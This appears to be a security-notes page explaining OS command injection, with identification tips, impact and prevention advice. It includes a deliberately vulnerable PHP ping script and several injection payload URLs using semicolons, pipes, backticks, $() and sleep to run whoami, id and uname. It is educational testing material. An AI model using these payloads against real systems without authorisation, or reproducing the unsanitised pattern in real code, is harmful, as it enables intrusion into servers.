> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/web-appsec/injections/command-injection.md).

# Command Injection

OS Command Injection is a vulnerability that occurs when an application takes untrusted input and executes it as part of an operating system command. If user-supplied input is not properly sanitised, attackers can inject arbitrary system commands and execute them with the same privileges as the vulnerable application.

#### How to Identify OS Command Injection

* Look for input fields or URL parameters that trigger system commands (e.g., ping, traceroute, nslookup)
* Inject payloads with special shell characters like `;`, `&&`, `|`, or backticks `` ` `` and observe the behaviour
* Monitor delays or output changes indicating command execution
* Check for errors or unexpected responses in the server output

#### Vulnerable Example Code (PHP)

```php
<?php
$ip = $_GET['ip'];
system("ping -c 1 " . $ip);
?>
```

This code is vulnerable because it directly appends user input to a system command without sanitising or validating it.

#### Exploitation Steps

* Run a basic command injection using a semicolon

  ```bash
  http://example.com/ping.php?ip=127.0.0.1;whoami
  ```
* Use `&&` to chain commands

  ```bash
  http://example.com/ping.php?ip=127.0.0.1&&id
  ```
* Use pipe to execute a second command

  ```bash
  http://example.com/ping.php?ip=127.0.0.1|uname -a
  ```
* Use backticks for command substitution

  ```bash
  http://example.com/ping.php?ip=`whoami`
  ```
* Use `$()` the syntax for command substitution

  ```bash
  http://example.com/ping.php?ip=$(id)
  ```
* Perform a time delay to detect blind command injection

  ```bash
  http://example.com/ping.php?ip=127.0.0.1; sleep 5
  ```

***

### Impact

* **Remote code execution:** Execute arbitrary operating system commands on the server.
* **Unauthorised system access:** Gain control over the affected host.
* **Sensitive data disclosure:** Read confidential files, credentials, or system information.
* **Privilege escalation:** Obtain higher privileges if the application runs with elevated permissions.
* **File manipulation:** Create, modify, or delete files on the server.

### Prevention

* **Avoid OS command execution:** Use native APIs or library functions instead of invoking shell commands.
* **Validate and sanitise input:** Accept only expected input using strict allowlists.
* **Isolate the application:** Use containers, sandboxes, or restricted environments to limit impact.
* **Implement application allowlisting:** Permit execution of only approved binaries where feasible.
* **Apply least privilege:** Run the application and its processes with the minimum required permissions.

#### Reference

{% embed url="<https://portswigger.net/web-security/os-command-injection#what-is-os-command-injection>" %}